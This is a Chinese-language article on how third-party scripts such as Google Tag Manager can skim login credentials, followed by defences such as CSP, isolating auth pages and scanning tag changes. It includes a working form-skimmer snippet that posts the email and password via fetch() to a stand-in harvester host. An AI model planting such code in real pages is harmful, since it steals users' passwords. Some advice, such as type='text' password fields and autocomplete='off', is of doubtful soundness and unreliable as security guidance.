如何防范第三方脚本窃取登录凭据

本文深入剖析在使用 google tag manager 等第三方营销工具时，恶意或失控的 javascript 如何劫持登录表单、明文窃取密码，并明确指出：浏览器端加密无效、依赖审查不可靠，唯一可靠方案是严格管控第三方脚本执行权限。

本文深入剖析在使用 google tag manager 等第三方营销工具时，恶意或失控的 javascript 如何劫持登录表单、明文窃取密码，并明确指出：浏览器端加密无效、依赖审查不可靠，唯一可靠方案是严格管控第三方脚本执行权限。

现代 Web 应用普遍集成 Google Tag Manager（GTM）、热图工具（如 Hotjar）、A/B 测试平台（如 Optimizely）等第三方营销脚本。这些工具通过 <script> 标签动态加载并执行远程托管的 JavaScript，赋予其与网站自有代码完全同等的 dom 访问权和事件监听能力——这正是安全风险的根本来源。</script>

如问题中所示的恶意代码片段，它监听登录按钮点击事件，利用 FormData 接口直接读取 的 value 属性，再通过 fetch() 将明文邮箱与密码发送至攻击者控制的服务器：

document.querySelector('#submit-button').addEventListener('click', () => {   const form = document.getElementById('login-form');   const data = Object.fromEntries(new FormData(form).entries());    fetch('https://somerandomserver.com/api/passwordHarvester', {     method: 'POST',     headers: { 'Content-Type': 'application/json' },     body: JSON.stringify({ email: data.email, password: data.password })   }); });

⚠️ 关键事实必须认清：

• 浏览器端密码加密无效：即使你在提交前对密码做 AES 加密（如用 CryptoJS），第三方脚本仍可在加密前劫持原始 input.value，或覆盖 window.crypto.subtle.encrypt 等 API 实现进行中间人拦截。https 仅保护传输层，不保护页面运行时内存中的明文。
• 代码审查无法提供持续保障：GTM 等平台允许运营人员随时更新容器中的标签代码，且可基于 User-Agent、IP 地址、cookie 等条件动态下发不同版本脚本——上线时“干净”的代码，数小时后可能已被替换为数据窃取逻辑。
• 同源策略不构成防护：第三方脚本与页面同域执行（例如 GTM 容器嵌入在 your-site.com 页面中），天然享有完整 DOM 控制权，可读取任意表单字段、监听键盘事件、甚至重写 HTMLInputElement.prototype.value getter。

✅ 真正有效的防护策略：

1. 实施严格的 CSP（Content Security Policy）
   通过 HTTP 响应头 Content-Security-Policy 限制脚本来源，禁止内联脚本与未授权域名的 script-src：

   Content-Security-Policy: script-src 'self' https://www.googletagmanager.com;

   注意：GTM 要求 https://www.googletagmanager.com，但应配合 nonce 或 hash 机制禁止无授权的内联脚本执行。

2. *敏感表单启用 autocomplete=”off” + `data-` 隐藏属性混淆**
   虽不能阻止有心者，但可增加自动化窃取难度：

   <form id="login-form">   <input name="email" autocomplete="off">   <input name="password" autocomplete="off" data-field="pwd"> </form>

3. 密码字段采用 type=”text” + 可视化切换（配合 inputmode=”text”）
   利用 type=”text” 避开部分脚本对 type=”password” 的特殊监听逻辑（需搭配视觉遮罩图标），同时确保无障碍支持。

4. 服务端强制二次验证与异常行为检测

   • 对同一 IP 短时间内高频登录请求限流；
   • 检测非标准 User-Agent 或缺失 Sec-Fetch-Site 头的请求；
   • 对比客户端提交的密码哈希（如 PBKDF2）与服务端存储哈希是否匹配（注意：此仅为防篡改校验，非加密传输）。

5. 根本性原则：最小权限交付

   • 营销团队需通过 IaC（如 terraform）管理 GTM 容器变更，所有修改经 CI/CD 流水线自动扫描（检测 FormData、querySelector 密码字段、fetch 敏感域名等模式）；
   • 生产环境禁用 GTM 预览模式；
   • 关键页面（登录/支付）完全隔离第三方脚本，采用独立子域（如 auth.your-site.com）并配置更严苛的 CSP。

归根结底，将执行权让渡给第三方，就等于将数据主权让渡出去。技术防护是必要补充，但治理流程——包括供应商安全评估、合同约束（要求代码审计权）、以及“不必要则不集成”的零信任原则——才是抵御此类风险的真正基石。